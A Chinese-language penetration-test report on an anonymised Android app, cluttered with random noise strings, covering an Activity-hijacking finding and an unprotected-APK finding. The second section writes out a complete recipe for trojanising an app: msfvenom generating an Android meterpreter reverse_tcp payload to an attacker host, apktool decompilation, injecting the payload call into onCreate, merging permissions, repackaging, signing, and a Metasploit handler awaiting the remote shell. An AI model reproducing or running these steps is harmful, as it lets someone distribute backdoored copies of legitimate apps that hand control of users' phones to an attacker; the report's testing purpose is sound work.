原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

7 N9 B3 M( [! T3 b

3 H' R; K2 G: l& N& \; D* A8 k- q. _
2 x* ^$ X; N* O6 |" G3 u

+ [) {3 e4 H+ M+ Z/ M

: _, ]# y# h' f4 c0 p' h5 E * N& O% Y# R1 |; `9 |. i

- x8 H( q. _3 T8 z Q9 b/ k ^6 ~ 文档编号：                4 o8 y# w. q( Y) n' Z, L r# ^

! @; Q& }; f2 v. }) ]. a

9 s! I9 |8 \0 g7 g- J0 y9 N   * H. |4 ]. x6 V% y, `

5 `# z* O6 I% U   % D, m: n/ }" r

+ K. {' _; ]% t# G1 Z6 j8 v. [

$ w7 i4 _8 ]6 h4 o+ F) o; z* Q  

# F0 `$ V: y) U: l : e9 {/ \9 C1 ]( c, I

% o, D7 p8 h4 b + Q% m2 S+ V# s e; D4 U   7 m8 D5 `! P" U

1 ?. n# r$ }: q1 y3 d

" g1 t s. R& w3 l$ k h   4 x6 ]7 u& y/ T# A

9 @# `; _- G. k/ c 1 E7 Z' C# y6 L$ D2 T

某某某APP渗透测试 7 H& R: e/ W8 `& l$ d+ u

3 H) n+ Y I7 S, S8 ?6 e2 ` ! Z; {; k% A$ v( P$ L

3 \' }( T8 l: q + Q$ J& `3 C5 B' D, l  

# |1 A% Z$ A$ P! Q I

 

" U# K! T# {" s7 V1 b2 x # Y% f6 Y$ ]6 \

6 ^* o8 t& ?6 ~ U8 U! ~  

  2 N4 X' C0 T( }

: b4 A) B# Z+ @2 Z

技 术 报 告

Y C$ {7 @3 I" r% |* | 5 P' ?- H( r+ a8 \5 E, D9 E

5 g, [/ q6 o- ]" `1 [. u2 t 5 |3 e7 X9 `# K* r M; A7 e   . z }' |5 Y$ K4 x4 P9 }" }; ~- E # n; H" M @6 ]

/ _$ v' ^- w, e Q8 F2 \ # Y/ e' I9 h8 A" F) @' i

  : D0 v( x6 B/ y" m( w4 U

! V! A: _7 g! ~$ e4 F2 P% R/ ` & E1 w5 r. v( N1 G3 ~% h. x' k4 j6 O: Q   + ~$ l ^" ?+ d/ L5 O* {& E& p

0 T. h$ ]4 \4 x# h: a + f' k$ z7 _. \2 p! }" ^# Z   * K2 i) W5 }2 Y0 @- `/ J; ~2 I

- i+ d! u! l6 R, ~2 I . p. _) v7 A1 Z, M/ l) M

  ; J* f/ w% Q S: O9 W9 R9 x; c

3 ^4 D/ H( e+ M- j 3 U$ d; E4 |' |- V

8 [# \1 S' T( L5 f, d- M! h, y ( R3 K; c. {2 }2 Z/ g8 q5 s   5 X q* u; r! K: K" d

, i# D( `6 q9 r& O p. n: N6 c1 I. y- i . C6 j3 f) S$ J

8 ^8 a0 Q3 o o, W & m$ D# @" Z9 V: ~0 a+ w6 I   ' u4 N$ T# c4 ?) R 6 N2 C3 n# ^6 I* q, X

4 w+ F+ `& b/ }* \# Q $ Z& }! u& b' Z q

/ {& h% U$ p* i8 J% Z # O8 E% K' l9 g3 E! T   - D% e! s: ]4 `

9 O7 L+ V3 P- P, o; h

) a- R- e+ d, Z; `% L Z" U; Y% s   & C8 b. M+ m% U( m! }

  - r. T3 y4 b0 r. w [4 a 4 e/ j* ~/ t3 G1 q; q; x- }7 |$ S

6 {. @7 a8 m* @( S/ H9 l) i1 s! C4 C

0 `7 u, t. S8 ^+ g5 ~  

+ u" a9 B6 C4 ?5 Z, d& s

3 E$ X/ w7 {: ~, O   % P' Q3 h1 R! o5 l6 Q 5 h0 p, q0 |* t! C6 Q

- V3 S" y1 [0 S- |% ]

  9 y, I. n4 B7 i$ \2 |

5 h8 @$ S& k5 U+ ?, [

9 Z& o5 U( g1 \2 X% l   % r6 u) d2 n0 ^' q! s ( c6 K. \% t2 X- R3 P: |$ o8 w

* m+ }2 c$ O/ y+ E/ _& P; K$ F: r " ]* R' m" p1 W& `   ) I" k4 j& n6 n

" X& v' e; Y) d& m7 F6 Y7 Y) m ! X5 U3 Y6 T- ~$ X! |: @

 

# U$ s% g7 e. x2 o/ D: }8 p5 } 6 {9 G- H. J( o' ]( X! {

  " F* O; B; B5 ] : j2 n* D W, v. }

- z- Q. {; J; c& ^- W8 E. X

1 T. p% [9 l6 @1 j& P   ) U7 ?7 q& ~3 s7 x% h2 i

* }" L8 D( G4 i' y" Y8 G/ n " f8 t" U3 H3 O

, v$ b2 g! c5 K4 j% n 二〇二〇年 3 ?8 g$ y# |; [1 E

T4 M7 u+ Q0 x0 h* N' t 9 a9 X Z/ L0 d
" Y: B/ _5 D- j7 e, X% [ ' c; }, X" L5 j# M+ D, B- N, C 7 i+ _' b& R' b" F% H

* U+ K6 N, M2 W( U, k# {8 i7 K( S( \' \ ! S e/ H4 S+ e6 [

7 h* C0 o+ q8 f& u3 k
8 v/ E8 Y0 \) z5 Z/ h

' t- h- b( t3 v, k2 W

目 录 " J: L H0 Z& i: _* H7 s1 c, w& Q- i 4 U4 ~. p$ n" V+ P/ @8 t4 `

6 h9 ~2 d U# r, H! B' d/ E 8 @- r t8 v5 B4 G4 p @ x# m4 n! ~/ R$ E3 Y. g- A . N+ n" a8 \. _

+ F- q8 k& `5 ?% p9 ?5 c  

2 w+ H6 i" v- b( R; J- V+ ~2 e. o , @: `. o' w5 \, J1 K# G' P; |

( X5 o1 |5 G: F7 e0 I6 M 3 \( b, e. G/ {, s, [8 R 1 概述... 3 / P' ~6 ~+ [- d" E1 V2 }# x/ ^

; r" y( R+ d/ T9 u2 _ 1.2测试时间... 3 - a% c* ]' s$ E8 h2 ?* }4 \* ` 1 Y' n3 l. Y+ S% u' j

/ r4 ~ d: ?2 i5 o2 O) y# L) O, d

* U0 P p3 z4 a0 ? U 5 k ], g- n# z+ V 1.3测试对象... 3 # G! w- y& t8 v; ?

" |/ ]8 [4 B# z 1.4测试结果... 3 ( ` Y. `' Y9 ^9 o) i9 H$ w

# `7 n; T' x6 _# b 2 检测结果... 4 ! k2 B. r* Q3 c C$ r. h/ r

4 L% H$ g7 ?! L' p& E 2.1 某某某... 4 ! M2 L: h! S- O' K) l

0 [9 @: Y* m4 k 8 p. B6 e0 O! ~/ g! t

2.1.1检测目标... 4 " n3 r3 _) k a. p9 Z, o, C O

$ i2 s# H% n# j& }( t7 n, Y; w! ?/ _ ( X# L; f8 ?; B( [; f

2.1.2检测结果... 4

" v: ~' v7 }& M+ [1 Q

" F3 P: h; R( G4 D, c4 g( O ' E: K2 x) Q+ _. p) y/ s$ H$ F$ b3 S 2.1.2.1. 4 4 f3 F8 N% _* {/ B

% D0 k, w- P- w$ z) T" M9 c1 ?! K1 r 2.1.2.2. 6

6 B9 ~7 ], t. N/ O! z0 ?: c

t' ?; _0 G" S: k: i1 W7 x5 f % s+ K, K) [( {% W$ Q + X# D% P w% w1 J 3 [% c& N# `% T/ \. [, c" C

" M5 z! K" \( d6 [: g# k7 o
* s; R+ v4 m8 S/ p! p

- H0 n1 D) K' q/ G1 W6 F# o/ n2 H b 1 概述

: D# u) r9 ~$ p3 O! o( X 9 v% v6 p0 x8 e8 [

1.2测试时间

3 ^8 f5 _7 |1 y; c * I6 i, |' ^5 A. A' g) j, b) j9 E. R4 r7 A2 p) Z! [) d, U( m6 u) z8 P7 w# w) I% x8 g- |( A/ D; g2 v8 U1 W% E6 ?0 X5 X* w1 `* l/ `6 P# D% ]6 B' j/ l2 `* |( X+ ^& C5 p: o1 j1 r# k2 K/ B( P! P9 H5 B; L) W3 t# h, _. b, N4 v1 i" x1 s) T9 F! f; [4 ~% }6 A9 F- h8 t3 T3 A% L& Q5 R1 u9 T g

3 h; Y& \: O; S3 p , C! \6 p8 f7 }2 e" m U& p8 [8 ?9 o / l9 ^" I6 S( t2 A; Y( O$ f 渗透测试时间
2 N: n( g4 b! ]' {" r# S' e / J" |! e* I0 Q j1 t- ~! @) a ( m' b: g8 E7 B5 i" O 起始时间 u% m4 n2 h1 M: P* r" y : J% z! @2 l2 c1 v0 Q# i 1 |( E/ W x6 q+ Q! J: x	) w. G" r0 @$ g0 c5 {: b0 c ( X* e1 T. K* g( n 2020年4月6日 ) h: U) ^ _8 Q/ h u+ s" o ! d, p- x5 E0 V+ U9 j8 ]
. p5 m7 V/ W! w' T8 A * {5 A5 j+ X* F+ N2 H 结束时间 / n0 w" w' @; D# ^ H, ?	- H! p8 F5 T5 Z, T$ m , {) B1 |5 D+ A8 ?8 b- h2 y" } ' a2 w; o; _, z( c9 _' g( c( P$ } 2020年4月9日 5 _5 N9 [1 g: R) }( \0 Z4 ?. U# f+ z

! @ g, a3 x. Q# @6 A# b$ |' \ / F' z; X9 ~9 O! G

5 a }# }/ @- S4 n4 p- I, C 1.3测试对象

% ? ~7 M. I, o

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 1 @ ~. T# O$ t2 \& [

; e) U h! `) [3 S9 z

+ y# B/ ?2 N6 G d8 M0 h- \3 u$ h 表1-1 检测对象 / Z* S$ U2 H1 ]5 r

& F# c/ P7 S' r5 [/ T( U% K' w8 d( X0 @5 V$ S5 P6 P {+ S: v, I" K q) U- z- y- ?6 u7 i- E9 C! l3 J& r' D- Q- d7 k$ ?7 u8 m3 ]4 ]% F# M) {2 `$ ]' r b- Q; Q; E. L& @( i3 t0 M+ h: p( k" {4 E8 a: d6 ]2 H8 b1 O! H: w. |7 p0 J7 r+ V; j! m, e$ x; O1 B1 [! @" [6 B7 i) D0 z% W& C1 b& ]/ z! s! B N8 B* v5 W0 W7 \3 A: ~+ x; \! [1 l" o) b* q! h: g5 o t/ u) }2 X

. h& H5 f( r9 x( v2 n& ?! I3 U % K/ B L; `* O9 d 序号 + k9 T* c# F. D0 B 2 m3 C; }5 F, q0 J6 i	& e. g" ^3 E: S1 C" z4 i O " p' o; l' ~& n- t! D. y 测试对象 / k5 ~5 {+ n" b 6 n# E8 \6 r8 x 1 y5 e4 A$ N H% @$ D" f" l4 u	, F; h: E* }# P* T. r 测试地址 2 X& P7 J) O; s, _, D 6 y4 e% k& Q1 ]+ e! c	5 A& o( d- m' Q4 _/ a1 [* H( P 7 D: n$ J6 u! C0 i 安全漏洞 $ i( L" N0 M$ \ 5 O$ m# G9 x4 W- w " z/ V7 g" W h4 ]/ p% r0 I
1 & k& M2 ^' }. [8 q+ k( V	# x) R( O4 U" y0 \( V" U! k 某某某安卓APP : @' f3 X O* T : H* D- z4 B, p	, d% b M+ S9 x# ]4 b; b3 E   & ]# h/ |! ]) }, t; ]	( T( \; A9 O7 y: S6 L8 B8 f2 K$ V 4 T& D% o" N# ` 2 * ?6 h8 p# w4 o! p5 n" j + H4 L1 O- ?2 W( K / O ?3 t/ E) q3 }; l

7 Q% }0 p9 d4 h2 ]

! x9 i; \' y) f" B; j, ~ 1.4测试结果 3 R9 c( `: s9 n( N6 X

3 y/ ^% L# X! h$ O9 P* }

: [) e, M2 h6 I, J5 i 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： % w: Y! b6 m6 k- B7 G0 J+ S

) ~& s* c3 j; _* o

& ]1 x, h9 ~, c$ q  

/ }5 w: b7 O8 w4 `4 ^9 n% H* ]( k

" l7 B9 Q5 Z/ Z6 d9 C) Q% N 9 u2 L8 L3 Z* C: c8 l . X M9 d4 M( I! H- y6 b# m$ u3 Z) i* _; V% L6 q) u9 k# G2 N+ D% ^6 N' y% X) @( a4 {' z$ f/ U- V J4 Q# h0 b6 S5 M- b! p8 c, ]- H5 F' |5 g: \! k* f$ |) V# D: i# r+ Q7 Q+ O U6 w, Y6 j! n* I* K, R2 o& E: @ i7 j; r/ b, Q0 _$ r6 k& U8 @( M0 ]* X+ [& o7 d( `4 G0 Z7 g( T# l5 T9 S, }9 ]( B0 }& S: y0 j% S- t: d& y, [, h" M; j6 R* j" k$ o! ^5 U. \6 B" Y* w( S8 {, i/ C0 z+ V# }) D5 {0 A d) B2 y$ F. O0 [ ~- |* y. Z: D

& ^0 v3 T3 h& n / p/ \) f+ e4 e4 o) v 序号 " A: b2 w& ?6 i3 ~# q+ A- P% ? 0 C9 }# j( t4 n6 q1 [	系统名称 4 ]2 `1 t+ ` S3 s- E5 O7 ~	* O1 I. R! u! \* t5 S 8 Z( y4 [/ I; B; `4 E ) N% G, o: f/ B. A2 |) ~; Y8 }( a7 s 漏洞名称 / R. B2 P- u2 U 7 }' [) O d; N9 m ! F/ e+ a8 m, H% @/ {" {8 h - d. E8 J4 W$ N, W- a	1 k& ^: G" M; F# S7 { 5 x$ P6 n# T: ?+ k 漏洞危害 ! t* U$ W, }4 [# h0 h* I' _, n Y$ p+ a9 d1 t5 [# }2 t 6 |, F0 d8 X+ C; y+ X) l2 U	* P6 A; O0 T' T1 _4 r7 ] 2 U! Z& `! B. A 修复结果 4 V/ }+ t# [2 K. ^ 3 i) v1 g" ?* \2 t" f4 l; A. w1 W 1 A. r0 {2 R7 U' i
4 o5 z' u! Y0 m% h8 @8 R( C+ V$ M( e; e* T 1 + ?+ p/ j) Q5 S% O - A( w% F4 t) [3 g7 Q	; K" d" ^$ w1 v, J7 r 1 S# E2 U& @ b$ g$ x 某某某某某某APP 3 t) Z, }3 f+ J3 n6 ]% U' t" p" u , i! `9 U( D5 t- n . [" Q4 ^9 q2 i5 Z	3 |2 K* d& U4 K( g4 X Activity 劫持 ( q% n9 m7 y4 E% y! ~; ?3 J. I ) M5 \) e R, w& O 5 K& }. A, ^' h S( O L% @4 r9 T/ w " L: K8 S' a( a1 ]/ F0 n) w9 |9 B+ j   " F2 r9 O8 z% e7 P) O	) B6 v' u0 N6 @ 0 n# Z2 S+ I% `% v# c 高 5 I! |: S6 @, z	, o: Q! H+ V8 d- v6 I9 o5 y 5 K* }, D/ n" | W1 c L! V. m8 B4 ] : J& t3 D5 r9 g4 |) `7 C: O   # m5 U1 J g9 P$ ` ' u, V4 y6 T) N+ G+ i 5 H4 D+ S1 Q! f ]4 ~ # p' c9 r" T2 w% a' y
- `. j/ V% D5 H. Q7 `# | + {% b# X% z2 E- t3 h ' _2 J- c- X( o z! n7 y$ z- T 2 3 z; {3 f- q2 v8 t4 D . ?) ]9 } { S# K- u 1 a( o( U( k9 s5 r	9 \; F+ h7 p, V$ l- H - J, U& w0 w2 r% Q- B- R J 某某某某某某APP 8 K& ]" n( B: c: {: Z* L% w + H5 Q: L& C. M' `4 \ , v# ^8 l& D, V	1 r, @8 f( x( Y7 F* e , e+ G' m3 U9 c/ ~- N4 g+ K, I9 { ) C5 z" G N) E& q* ?9 } , y0 ?( S9 ?, N% ]1 m 反编译二次打包捆绑木马、篡改APP代码 ) o0 F- T: c1 A8 q% }& b: F0 H7 T/ e3 m. H 3 G7 ]# {; _' z. x+ N! P: l	1 c2 ]" Q. |4 s+ E# g/ v & j# Q7 P& s' z' M! J . o+ \1 P/ e- P5 [8 C 1 X% p4 L# p0 _7 M$ c 高 ( V6 U* v9 q4 e/ ]4 ^; e8 a& i 3 K5 k$ P' ]7 u0 o# s - F" x) V/ e Y0 _1 } T	' i7 C2 X2 L7 [, U( n" X

/ z% T6 _# \) W, O% b

$ ^& v/ i( r& c+ S, b( I3 S- K/ c: g

6 g( g1 f$ Z2 b5 u 0 E ^9 m4 e+ m6 [2 D3 `' ~   + `3 ^7 A+ L! o6 ^

5 J. s3 C+ |% b5 b, C( r! t ( V$ p4 T* m+ ?9 z: ]

' J7 Y$ |7 q: L' i2 P9 M' A' ] - \1 r. C# [: o# b% A3 S4 S2 R 表1-2 测试结果 2 W4 ?' A9 n) G' V$ q; j/ R

! v! J1 p& B: h$ Z' X! [) v; X& ]

2 w; P- ]9 u6 U( N: R  

. U9 v: ?! `4 A 2 检测结果                    9 x" L' `+ u* X8 r+ m/ i9 }$ [6 c - a. V4 p6 ~, Q$ G Y( t' Z

% N2 H h! b) k( R 2.1 某某某 1 |( w. o- q5 E* b

2.1.1检测目标 & h: ]- _1 O6 d8 V , H2 X$ e. Y( u

! r. _) _/ i- p- m- n v

目标地址： 某某某某某某APP

2.1.2检测结果 . Z' x! S3 K1 }& g' e

4 q, L; X' X9 Z: _9 h# j% R

2.1.2.1 1 }4 a6 r" y4 |

! @- y C: ~2 l: x# y& R K$ r

, Y% X7 c/ C+ x9 l7 s 漏洞链接地址：某某某某某某APP Q6 z9 K( M+ j# G

2 y4 u/ e: c1 c; o' p: ?   ! o- }. q- n: h1 ^9 R. S6 f $ K9 Q8 m4 }+ U

' e& w; u4 a8 E' I) ` 2 X/ }3 G, s. }, K0 Y% l" r. l3 j

5 V) | ^1 \, I7 v' r& R/ ?0 m$ v) Q 漏洞分析及取证：

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 6 N: W Y8 M! e) M+ g2 ^

0 |( h) f' k H/ Z8 p: G

5 ~; S+ Q# }: j: K* N( V1 U! I      0 N: e5 u8 x# {7 ], f + d2 f, ?* ^: b

( V* n, R8 m: r- L( {% D5 C ) @ D5 r' B+ E: o7 G4 q! ^! l

2 r, F; v" p5 ?4 ^& k9 j) B. l 6 K: a' V5 H2 N4 a* g                       * l* j2 u# S4 f' T+ f) A. u7 g: C 7 R3 e' v7 H7 h$ C% B- j& q/ y

. O1 N% ?" ~+ G& j

B; r( z8 H6 Y0 A( Q g2 U . t U$ T+ s5 ^+ B R , ~) `3 m1 O; z5 j9 w% _4 Q. k

% X G4 o/ h/ j

+ }* I3 J1 b* u# E2 O7 Y: I u9 `8 R8 S2 S" @% i. S# D- [" s

1 K& d3 Q y7 r- n9 q9 Y1 t - g+ F! H& `3 ~% X C( l, U( J

$ Z/ O% `, J) Y! U8 B1 c. w 8 r& @, @- e- b5 @ ^ 漏洞危害：高 _9 @4 A+ @ a/ d; h1 Q/ b * n% r8 F( P+ ^

9 P$ q$ s x/ W& ~. _& t0 b 0 \; m* ^) A& g0 U8 n ' @8 f" ?2 a. L! Y% o4 ?( r/ Q5 ^. {/ t% O5 B+ T( U/ E! g( M: \# V; o% K p, @* W" P+ w6 o* A3 E) s4 D# w# Z N+ I2 K W& o+ `* @$ X1 W. v) C; g; k$ d" I( g, _3 C( h1 S2 ^, ?+ v: V" i% x# ^7 c& S6 Z7 E4 Z& y( r5 x8 ~$ g6 }( z4 U( p3 i6 v1 a0 N1 ~& |7 |5 B. o+ K7 w/ ^" Y- h5 z2 V4 m \% K6 R) E% T1 U1 d' ^! T! Z$ ~. B5 q) m

严重程度 % O1 M) N) s6 H1 _" {* i1 Q 7 Q& e8 W1 r( a" ]0 y9 ? - A9 ]) T( B& b) w# \9 V	6 q) f$ `+ P! o& s/ V) A5 g * N$ H( g/ o k6 B) {1 c" c 高 4 W5 J3 b5 \4 i0 O4 U j	8 Z5 T! K5 q6 v2 L+ \. h2 F5 F4 D 5 S3 L& V5 k" H% Y 9 i+ A! h d( W ■ , l4 V `# A7 O; g! R1 n	& C0 g% P! @$ A- l 中 2 l4 b9 i* j# B 6 ~* W$ s4 R4 U. V: S9 O	E0 Q& C* D y * g( g0 _- D8 z   6 h& J; c" Y+ |- _8 k( M ! N- Y; O! u% Q0 O6 c0 Y: q 5 _; h9 h, s. k v* A% {6 B $ a) ?) x. E6 T) M- s	9 u9 }2 L) q0 V8 e( }8 l' d 1 o, N% i% v3 x) t) w1 M; c $ C& z) o9 F: u& O! N " \$ r; W6 u; I' M) A, @! [* y- w 低 0 L! |6 d% w' N2 y5 i6 ^/ }: @# B 1 R7 U3 y( f0 o( G! k+ Y7 H E . c4 _% h2 ?6 g3 X	+ g' p- P4 ~8 ~+ t, O6 `) T: b4 l: M : e7 j% H" C* H7 Q/ R/ g. {* q & r& ]+ i" h* ~8 l% |   4 T) n. ]- m4 r& M! \# {% f

8 Z% U: E( [" V 0 T7 k! A2 P% y7 \$ F% T

6 N1 A% S W/ x9 G

$ d% D3 q9 z, u' E7 H8 \   + _+ n1 x# p# F( F! _6 V

c8 ^3 X& w- e/ [) i* m

6 H/ e3 [ y1 R6 M 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 4 t( _0 w# Z( v8 b8 S: M

# e6 r% O; B5 ?$ l: D) S4 q

# W7 O0 G9 E1 X8 a% v5 O4 q           % k9 A4 ~4 `+ O' B8 b

/ a% q7 Q4 _. o7 _   " y8 `4 Z+ _$ O8 O: L0 z& K& L

: d: Y; A% Y; C2 d 3 m# Z4 N7 q5 |5 s

2.1.2.2 + w( ]- I* \* }, ]1 o

9 U) { z3 o [6 I2 w9 x

. D/ }5 L% H9 M$ P: E" b' } 漏洞链接地址：某某某某某某APP ) k( B3 I6 N v5 ~, ~

) e! s2 w* `/ H7 @# D6 |8 F

漏洞分析及取证： - b D0 V7 [" r% @% o' a8 G

3 |$ |3 r ~2 O

4 R% N- G8 P2 u! Q9 t 3 e2 m% B) g7 o) y                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

: R" g6 Q; Q0 ~! W2 Z/ G/ H $ B1 h- n1 t) c( E6 z$ w

4 r: H2 X6 E9 V- c* H5 D ; w9 o* y7 y7 c7 B# d E) C 用Metasploit 生成木马 apk $ U0 O" U# J9 H% n( y: G

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ) ~, |: x7 l n3 _+ F; p9 S & y" y! X' n+ [, K2 q

反编译目标apk和木马apk

* n" f! Z2 H w & t1 L! C& @0 C% }% g$ J( N

5 P* _8 F5 ?# C# t" W" B1 j: ` apktool d target.apk
) I- D4 a6 T' U- ^; |( w! F' @% h apktool d cockhorse.apk + \- n( \5 y8 }3 \ ? 4 K; f6 J; h* E

1 L$ e* ]! X* ~9 _ 木马 apk 注入目标 apk - C* t+ ^: u- T @( y1 i

$ h/ R/ T1 u: v- d/ e# z9 T! ?

+ m& P/ p; X8 a" u2 H8 p9 q4 G 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V & _0 |4 H- v; e! P0 K. Z

' w) r2 w; `: P4 X* A4 U6 X

$ u7 O- z+ ]! h, ^ " E0 \+ \: n2 d! G6 k8 z 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 5 U) Y: S% x0 N& F

3 g3 M% T0 P& _& j4 o, d) _0 U 1 B/ f% C. n3 o: K( P

) e+ Y2 _6 V$ ] 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

) z3 e! f% I2 m0 `# j+ t

. h# s- `. W& W8 E! S+ Z 回编译生成最终 apk % a% f X+ I2 U6 O0 G0 F: K/ e2 G1 ~ 2 V" `2 r J2 z& r% l7 B

重新打包

4 p6 G" B5 C* ^4 O

* v5 s$ E0 I# y6 D: w, U% I apktool b -o repackage.apk target_app_floder l& `: O. c2 ~: Q

" V, [9 X6 r& l7 k$ }6 M1 x% B ! `6 @4 m, g: {

! J; T3 N0 B( d" F3 w 2 {; a# K' _& m ?) U" t 创建签名文件，有的话可忽略此步骤 + l5 E, W! e& z4 D& L; ` 4 A0 s% u8 ^& ^% ~0 ]

+ s7 R9 x; b4 U: x% K* F4 x

2 ^( E# P% V! M Z* B keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                , p/ u! j# S' K8 A

! J) t+ u- ~) j

. m! v; E" `: A6 r0 A6 S9 p 6 w* t) |5 N; O4 \+ L% y* \* N# k 签名，以下任选其一 4 ?9 t1 C1 n' o; [ x' T

9 Q9 {3 ` T$ T% G- T" R

* K ]0 X" z* w5 D6 B4 @ + v2 ~5 C4 p# R8 {0 s& M jarsigner 方式 3 J Z0 j1 H! g) `- |

( Z$ T$ z" i4 N 7 m) M. I1 q& {2 O jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname . z; _9 P- H0 {+ j1 u* w, U# Z

3 W7 V* {/ b _; S: Q; C1 H5 ]: Y 9 W+ O; Q2 H! P3 M/ F- K+ z5 X

/ r5 a; T$ ^# m4 ]5 u * m0 [7 `+ r! g4 s7 @ apksigner 方式 5 Y! l8 i$ u3 y; W' _; K$ Q" U+ _

7 P, a5 J* |! m" ~ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " D0 ]# ^3 @6 S2 ?, C; Q ' F+ k) s9 `8 P5 o% z, ~# K# h# p

3 ^% b/ J; L; Z, Z" h" w6 e

4 ~ F) Y/ C* V) P: U# C+ O / r, a' d _0 A7 o 如需要禁用 v2签名 添加选项--v2-signing-enabled false % i# i" G* M8 \0 u

) M7 Y: Q/ {" n / w; x) l4 b. D- S7 D$ D- l

& P4 {+ V+ A! d: Z. ^- B ' G$ a8 y+ R# b( X1 q 验证，以下任选其一 " C* w" h/ l) Z" u" y& T! M

, n/ s( N& X( p7 ~0 j0 A2 t

- N! q5 {0 a- x0 a9 V* p jarsigner方式 # t F( L2 L# A. o / F. W" n( ]8 z. m

- r: E0 A' n- Z. F+ z: d+ B d: \' s7 |, h$ T9 U3 p jarsigner -verify repackaged.apk . P) y6 J- Y q k

8 |/ r( |; H0 u4 Y, N' A

apksigner 方式 6 u; B1 B: C' } / I; p: }8 w9 S* L' w; L; w

9 K* N& R) k1 o8 j) Z 6 b- J3 ?; A8 q

3 M$ }* y- v7 C% x, e apksigner verify -v --print-certs repackaged.apk

; u+ M$ `, L" a$ w7 u% \# J/ E9 R/ V

+ R5 g$ I; I3 \8 X6 s& } D. Q9 I: } keytool方式 # E. s! j# Z e2 ]3 h0 x1 l

4 u7 v# F& C( p o" E- M

* S2 E+ X" u7 x9 ]( i3 _) h 9 O6 S, {6 C2 R1 [% y keytool -printcert -jarfile repackaged.apk ) e L8 Y6 \* g 4 K0 w: x* p3 t0 f6 L' b' D

" s% A2 g# k% Q . E; \ n3 f6 I2 f6 ]0 v) ~: |

对齐 . m- f, f4 A6 N" b8 g6 ^3 F' q

: Z& X" B; E( O, \

字节对齐优化

6 A2 k( w6 K0 C4 U' l1 G

2 }, Q( b/ Z) q, }+ n4 Z: R* t zipalign -v 4 repackaged.apk final.apk " J& w6 i" y' c0 K

0 V$ M. V% Q# Q

2 K2 Y/ o3 M% T$ N( ?2 U/ b! v 检查是否对齐

- c) R! v c) {3 N, o: S1 ]" |& f

zipalign -c -v 4 final.apk

6 W& o% o7 s) v' X: C

$ M+ i2 U" S% ] `5 Q 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

& k" g7 n0 B$ o- v6 R4 ]; F

" \- `" l+ A6 |+ |3 C" N 5 U& i$ Q5 B& _0 g 启动Metasploit控制台，配置参数等待上线 9 q5 M8 _! ?3 M/ f. x5 w0 y' H2 y

1 P! |; p$ L7 a- E4 S

# H/ q5 d# {2 F' y* j, p 在终端依次输入如下命令 & q8 ^8 q' o- C. z9 B0 Q f0 O

9 O- R' X3 h) T0 K; G msfconsole ( P+ j$ w' E# B9 V' m Z. |; s

# q z/ K- Q' Y/ t I9 j3 x% @' [ B/ Q5 b4 N* s) G0 {# |7 I- h# `, K' i1 @

) P5 F' l7 ]8 C6 A* R+ ` 4 M, n5 ~) y+ C+ b. O use exploit/multi/handler % n" p% |( R0 f3 i+ S% Z9 p

1 E+ r% _2 _' c! |+ ^

set PAYLOAD android/meterpreter/reverse_tcp

$ G! A3 A) ~9 R

- n: j, E- K9 J: ^! n" Y0 s- q set LHOST 192.xxx.xx.xx ) x) D/ S5 q7 e8 d2 Y3 F+ Q 7 x) {, X9 |7 k: d% h+ U6 |- x. t

) z6 P1 [; i: M1 Q

( s S) k9 g2 P. p4 h8 R. p set LPORT 4444 " ~) k7 ~( ~; A3 N$ v " p( Z* ]2 X+ C4 ~

) r0 U$ N" R$ n s1 n; p

! n" p! W7 {5 S* R0 W exploit , D6 Q: {/ J/ z

0 R$ ?, z# i2 [8 C! k9 g9 ~

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ( R* d6 B" ^% H* q* Z9 f2 j

* e' o, ]7 Z" }7 c

漏洞危害：中 / f8 L5 S! I+ o& @" v; E6 h

( k% n: }0 C* H a9 x

5 E# X" j3 d+ `4 o' O ; t- H2 l: {( C* A2 ^$ n* J4 [" }( L * a& N" V8 O8 V# |7 ?; J+ r/ z- j3 q! d. ~5 L1 V- r% T+ {" b5 }+ a7 E- L& _. o% D. L0 c K; {* W( b1 Z* T- n- u0 ?. W( W" x# v! k7 T% L1 y: A. l' Y% a& U6 E7 s. c* Y+ x2 E* y" Q7 K7 b; ~. I2 R$ h* ]+ d" B; a4 M4 F2 r Z/ J; V

